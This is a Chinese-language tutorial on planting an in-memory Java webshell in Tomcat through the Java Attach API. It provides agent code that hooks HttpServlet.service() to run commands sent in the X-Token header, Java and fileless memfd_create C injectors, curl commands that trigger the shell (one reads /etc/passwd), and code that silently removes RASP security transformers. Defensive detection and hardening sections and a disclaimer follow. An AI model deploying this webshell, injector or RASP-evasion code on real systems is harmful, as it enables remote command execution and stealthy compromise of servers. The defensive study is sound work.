Java Attach API内存注入
字数 4029
更新时间 2026-05-10 17:53:29
Java Attach API 内存注入技术分析与实战教学文档
文档概述
本文档基于《Java Attach API内存注入》技术文章,详细解析利用Java Attach API实现内存Webshell注入的原理、步骤、无文件攻击技术、攻击痕迹及防御方案。内容涵盖从环境搭建、Agent开发、注入执行到反取证的全过程,旨在为安全研究人员提供完整的技术参考。
1. 技术原理与前提条件
1.1 Java Attach API 简介
- 定义:
com.sun.tools.attach是HotSpot JVM提供的动态诊断接口,允许外部JVM进程连接到目标JVM并执行管理操作。 - 核心功能:加载Agent、获取系统属性、触发heap dump等。
- 应用场景:
jstack、jmap、Arthas等运维工具的底层基础。 - 攻击价值:提供无需修改目标进程启动参数、无需重启服务、无需文件落盘的代码注入通道,可用于内存级持久化。
1.2 AttachListener 懒加载机制
- 默认状态:HotSpot JVM启动时不会创建AttachListener线程和Unix Domain Socket。
- 触发条件:当外部进程首次尝试Attach时(通过创建
.attach_pid<PID>文件并发送SIGQUIT信号),JVM的Signal Dispatcher线程检测到条件后启动AttachListener。 - 检测点:首次注入会导致
/tmp/.java_pid<PID>Socket文件创建,这是潜在的防御检测点。
2. 环境搭建与基础依赖
2.1 实验环境配置
| 组件 | 版本 | 用途 |
|---|---|---|
| 操作系统 | Kali Linux 2026.1 (6.x kernel) | 攻击机兼靶机 |
| JDK | OpenJDK 25.0.3-ea | 编译Agent/注入器 |
| Tomcat | 9.0.117 | 目标Web应用 |
| GCC | 15.2.0 | 编译C注入器 |
| javassist | 3.30.2-GA | 字节码操作 |
2.2 靶机部署步骤
# 下载并启动Tomcat
cd /opt
wget -q https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.117/bin/apache-tomcat-9.0.117.tar.gz
tar xzf apache-tomcat-9.0.117.tar.gz
cd apache-tomcat-9.0.117
./bin/startup.sh
# 验证进程
ps -ef | grep '[c]atalina'
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/
2.3 工作目录准备
mkdir -p /tmp/inject/{src/com/inject/agent,build/META-INF,lib}
cd /tmp/inject
wget -q -O lib/javassist.jar \
https://repo1.maven.org/maven2/org/javassist/javassist/3.30.2-GA/javassist-3.30.2-GA.jar
3. JVMTI Agent开发:内存Webshell载荷
3.1 Agent核心逻辑
- 注入点:通过
Instrumentation.retransformClasses()重写HttpServlet.service()方法字节码。 - 触发条件:检测HTTP请求头
X-Token,存在时将其值作为系统命令执行。 - 输出方式:将命令执行结果通过HTTP响应返回。
3.2 Agent源码关键设计
package com.inject.agent;
// 类定义:MemShellAgent
public class MemShellAgent {
public static void agentmain(String args, Instrumentation inst) {
// 查找已加载的HttpServlet类
for (Class<?> clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals("javax.servlet.http.HttpServlet")) {
try {
inst.addTransformer(new MemShellTransformer(), true);
inst.retransformClasses(clazz);
System.out.println("[Agent] Retransform successful");
} catch (Exception e) {
System.err.println("[Agent] Retransform failed: " + e);
}
return;
}
}
}
}
3.3 字节码修改逻辑(MemShellTransformer)
static class MemShellTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> cls, ProtectionDomain pd, byte[] bytecode) {
if (!"javax/servlet/http/HttpServlet".equals(className)) {
return null;
}
// 使用javassist修改字节码
try {
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader));
CtClass cc = pool.get("javax.servlet.http.HttpServlet");
CtMethod method = cc.getDeclaredMethod("service", ...);
// 插入恶意载荷到方法体最前面
method.insertBefore(getPayload());
byte[] modified = cc.toBytecode();
cc.detach();
return modified;
} catch (Exception e) {
return null;
}
}
private String getPayload() {
return "{" +
" javax.servlet.http.HttpServletRequest _req = " +
" (javax.servlet.http.HttpServletRequest)$1;" +
" javax.servlet.http.HttpServletResponse _resp = " +
" (javax.servlet.http.HttpServletResponse)$2;" +
" String _cmd = _req.getHeader(\"X-Token\");" +
" if (_cmd != null && _cmd.length() > 0) {" +
" try {" +
" String[] _exec = new String[]{\"/bin/sh\", \"-c\", _cmd};" +
" Process _p = Runtime.getRuntime().exec(_exec);" +
" // 读取命令输出并写入响应" +
" ..." +
" return;" + // 关键:命中时直接返回,不执行原始逻辑
" } catch (Exception _e) { ... }" +
" }" +
"}";
}
}
3.4 关键技术细节
- 变量命名:使用前缀
_避免与原始方法局部变量冲突。 - 参数引用:
$1、$2代表javassist语法中的第一、二个参数。 - Hook位置选择:选择
HttpServlet.service()而非doGet/doPost,确保所有HTTP方法都能触发。 - 异常处理:Agent代码异常不应导致目标应用崩溃,需静默处理。
3.5 MANIFEST.MF配置
Manifest-Version: 1.0
Agent-Class: com.inject.agent.MemShellAgent
Can-Retransform-Classes: true
Can-Redefine-Classes: true
关键:Can-Retransform-Classes: true是必需的,否则retransformClasses()调用将抛出UnsupportedOperationException。
4. 标准注入流程
4.1 编译打包Agent
# 编译
javac -cp lib/javassist.jar -d build src/com/inject/agent/MemShellAgent.java
# 解压javassist依赖
cd build && jar xf ../lib/javassist.jar javassist && cd ..
# 打包
jar cmf build/META-INF/MANIFEST.MF agent.jar -C build .
# 验证
jar tf agent.jar | grep -E "(MANIFEST|MemShell|javassist/CtClass)"
4.2 Java注入器实现
import com.sun.tools.attach.VirtualMachine;
public class Injector {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
// 列出可用JVM进程
for (VirtualMachineDescriptor vmd : VirtualMachine.list()) {
System.out.printf(" PID=%-7s %s%n", vmd.id(), vmd.displayName());
}
return;
}
String pid = args[0];
String agentPath = new File(args[1]).getAbsolutePath();
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentPath); // 核心注入方法
vm.detach();
}
}
4.3 执行注入
# 查找目标PID
TARGET_PID=$(pgrep -f 'catalina.startup.Bootstrap')
# 编译注入器
javac Injector.java
# 执行注入
java Injector ${TARGET_PID} agent.jar
4.4 验证注入效果
# 检查Tomcat日志
tail -5 /opt/apache-tomcat-9.0.117/logs/catalina.out
# 正常请求(无X-Token头)
curl -s http://localhost:8080/ | head -3
# 触发内存马执行命令
curl -s -H "X-Token: id" http://localhost:8080/
curl -s -H "X-Token: uname -a" http://localhost:8080/
curl -s -H "X-Token: cat /etc/passwd | head -5" http://localhost:8080/
# 任意路径均可触发(证明Hook点在service()方法)
curl -s -H "X-Token: whoami" http://localhost:8080/any/random/path
5. 无文件注入技术:memfd_create
5.1 无文件注入原理
- 核心:使用Linux内核的
memfd_create()系统调用创建匿名内存文件。 - 优势:Agent JAR不落地磁盘,完全在内存中处理。
- 流程:
- 将Agent JAR读取到用户空间缓冲区
- 通过
memfd_create()创建匿名文件描述符 - 将JAR数据写入内存文件描述符
- 构造
/proc/self/fd/<fd>路径供目标JVM读取 - 注入完成后关闭描述符,内存文件自动销毁
5.2 C语言注入器核心代码
#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
// 自定义memfd_create包装(兼容旧glibc)
static int my_memfd_create(const char *name, unsigned int flags) {
return syscall(__NR_memfd_create, name, flags);
}
int main(int argc, char *argv[]) {
// Step 1: 读取JAR到内存
FILE *fp = fopen(jar_path, "rb");
fseek(fp, 0, SEEK_END);
long jar_size = ftell(fp);
fseek(fp, 0, SEEK_SET);
unsigned char *jar_buf = (unsigned char *)malloc(jar_size);
fread(jar_buf, 1, jar_size, fp);
fclose(fp);
// Step 2: 创建匿名内存文件
int memfd = my_memfd_create("", MFD_CLOEXEC);
// Step 3: 写入JAR数据到内存fd
write(memfd, jar_buf, jar_size);
free(jar_buf);
// Step 4: 构造/proc路径
char memfd_path[256];
snprintf(memfd_path, sizeof(memfd_path), "/proc/%d/fd/%d", getpid(), memfd);
// Step 5: 执行Attach注入
int result = do_attach_load(target_pid, memfd_path);
// Step 6: 关闭memfd(内存文件自动销毁)
close(memfd);
return result;
}
5.3 编译与执行
# 编译C注入器
gcc -O2 -o fileless_injector fileless_injector.c
# 重启Tomcat获取干净环境
/opt/apache-tomcat-9.0.117/bin/shutdown.sh
sleep 2
/opt/apache-tomcat-9.0.117/bin/startup.sh
sleep 3
# 获取新PID并注入
TARGET_PID=$(pgrep -f 'catalina.startup.Bootstrap')
./fileless_injector ${TARGET_PID} agent.jar
5.4 无文件特性验证
# 1. 验证内存马功能
curl -s -H "X-Token: id" http://localhost:8080/x
# 2. 删除磁盘文件
rm -f /tmp/inject/agent.jar
rm -f /tmp/inject/fileless_injector
# 3. 内存马依然有效
curl -s -H "X-Token: whoami" http://localhost:8080/y
# 4. 检查JVM中无memfd残留
ls -la /proc/${TARGET_PID}/fd/ | grep memfd
5.5 关键证据链
- 注入器进程退出后:其
/proc/PID目录被内核回收,memfd文件描述符关闭,匿名内存文件销毁。 - 目标JVM不持有fd:加载Agent时一次性读取JAR内容到堆内存,不持有源文件fd。
- 字节码驻留Metaspace:删除磁盘文件后内存马仍有效,因为修改后的字节码已驻留JVM的Metaspace。
- 全程零落盘可能:生产环境中可通过网络直接接收JAR字节流写入memfd。
6. 攻击痕迹分析
6.1 必现痕迹
6.1.1 Socket文件创建
ls -la /tmp/.java_pid${TARGET_PID}
- 产生条件:首次Attach时创建。
- 特征:Unix Domain Socket文件,创建时间标记首次Attach时刻。
- 局限性:无法区分合法监控工具(Arthas/SkyWalking)与恶意注入。
6.1.2 Attach Listener线程
jcmd ${TARGET_PID} Thread.print | grep "Attach Listener"
- 状态:
waiting on condition表示已完成任务等待下次连接。 - 关键指标:CPU时间(如
cpu=130.53ms)表明处理过Attach请求。 - 检测方法:需主动执行
jcmd或jstack获取线程快照。
6.2 隐蔽性分析
6.2.1 后续注入隐蔽性
- Socket已存在时:后续注入不会创建新文件,文件系统监控(如
inotify)完全失效。 - 预判检查:
test -S /tmp/.java_pid${TARGET_PID} && echo "Socket exists, stealth mode"
6.2.2 合法工具"搭便车"
- Arthas、SkyWalking等APM工具常使Socket提前存在。
- 攻击者可利用已有Socket实现零文件系统痕迹注入。
6.3 内存痕迹
- 字节码修改:驻留在Metaspace中的修改后类字节码。
- Transformer注册:JVM内部的Transformer注册记录。
- 系统调用序列:内核审计日志中的
memfd_create、connect等调用。
7. 反取证与对抗技术
7.1 绕过AttachListener检测
- 场景:目标JVM从未被Attach过(无Socket文件)。
- 对策:无完美方案,首次注入必然产生Socket文件和线程。
7.2 对抗RASP(运行时应用自保护)
7.2.1 识别并移除RASP Transformer
private static void neutralizeTransformers(Instrumentation inst) {
try {
// 获取TransformerManager
java.lang.reflect.Field tmField = inst.getClass()
.getDeclaredField("mTransformerManager");
tmField.setAccessible(true);
Object tm = tmField.get(inst);
// 获取Transformer数组
java.lang.reflect.Method getMethod = tm.getClass()
.getDeclaredMethod("getSnapshotTransformerList");
getMethod.setAccessible(true);
Object[] infoArray = (Object[]) getMethod.invoke(tm);
for (Object info : infoArray) {
java.lang.reflect.Field tField = info.getClass()
.getDeclaredField("mTransformer");
tField.setAccessible(true);
ClassFileTransformer t = (ClassFileTransformer) tField.get(info);
String tClassName = t.getClass().getName().toLowerCase();
// 匹配已知RASP特征
if (tClassName.contains("rasp") ||
tClassName.contains("openrasp") ||
tClassName.contains("jrasp") ||
tClassName.contains("security.agent")) {
inst.removeTransformer(t); // 静默移除
}
}
} catch (Exception ignored) {
// 反射失败不影响主逻辑
}
}
7.2.2 RASP对抗局限性
- 混淆类名:商业RASP使用混淆类名或动态生成Transformer。
- 行为特征识别:需通过Transformer访问的类范围等行为特征识别。
- 副作用风险:移除所有非JDK内置Transformer可能影响合法AOP框架。
8. 防御建议
8.1 根本性防护
8.1.1 禁用Attach机制
# JVM启动参数
-XX:+DisableAttachMechanism
- 效果:完全禁用Attach API,但会影响合法监控工具使用。
8.2.2 系统级隔离(最有效)
# /etc/systemd/system/tomcat.service
[Service]
PrivateTmp=true
- 原理:利用Linux mount namespace为服务创建隔离的
/tmp目录。 - 效果:外部进程在主机
/tmp创建的文件对JVM不可见,阻断.attach_pid触发。
8.2 检测方案
8.2.1 文件系统监控
# 监控.java_pid和.attach_pid文件创建
inotifywait -m -e create /tmp/ 2>/dev/null | grep -E '\.(java_pid|attach_pid)'
8.2.2 系统调用监控
- eBPF探针:监控对
/tmp/.java_pid*Socket的connect()系统调用。 - auditd审计:监控
SIGQUIT信号的发送源。
8.2.3 字节码完整性校验
# 建立类字节码哈希基线
jcmd <PID> GC.class_stats | md5sum > /opt/security/class_baseline.md5
# 定期检查(crontab)
jcmd <PID> GC.class_stats | md5sum | diff - /opt/security/class_baseline.md5
8.3 运维层防护措施
- 定期巡检:检查
/tmp/.java_pid*文件存在性。 - 线程监控:定期采集JVM线程快照,检查Attach Listener线程状态。
- 权限控制:限制对JVM进程发送信号的权限。
8.4 防御组合建议
| 措施 | 防护效果 | 对业务影响 | 实施成本 |
|---|---|---|---|
PrivateTmp=true |
高(阻断第一步) | 无 | 低 |
-XX:+DisableAttachMechanism |
最高(完全禁用) | 影响合法监控 | 中 |
| eBPF系统调用监控 | 中(可发现连接) | 无 | 高 |
| 字节码哈希校验 | 中(可发现修改) | 可能误报 | 中 |
| 定期文件巡检 | 低(仅首次有效) | 无 | 低 |
9. 技术认识与总结
9.1 无文件≠无痕迹
- 内存痕迹:修改后的字节码、Transformer注册记录、Metaspace数据。
- 内核痕迹:审计日志中的系统调用序列。
- 网络痕迹:内存马通信流量。
9.2 攻击成本与防御成本
- 攻击成本低:利用现有API,无需0day。
- 防御成本高:需要多层防御措施组合。
- 最佳实践:
PrivateTmp=true+ 定期字节码校验 + 系统调用监控。
9.3 法律与道德声明
重要提示:本文档所有技术内容仅用于安全研究和防御能力建设。在未经授权的系统上使用相关技术属于违法行为。进行渗透测试前必须获得书面授权并明确测试范围。
10. 扩展思考
- 检测演进:基于机器学习的字节码异常检测。
- 攻击演进:利用JVM内部机制绕过
PrivateTmp隔离。 - 防御演进:硬件级可信执行环境(TEE)保护关键类。
文档生成基于:先知社区文章《Java Attach API内存注入》(https://xz.aliyun.com/news/92103),内容经过技术提炼和结构化重组,确保关键点无遗漏。
相似文章
相似文章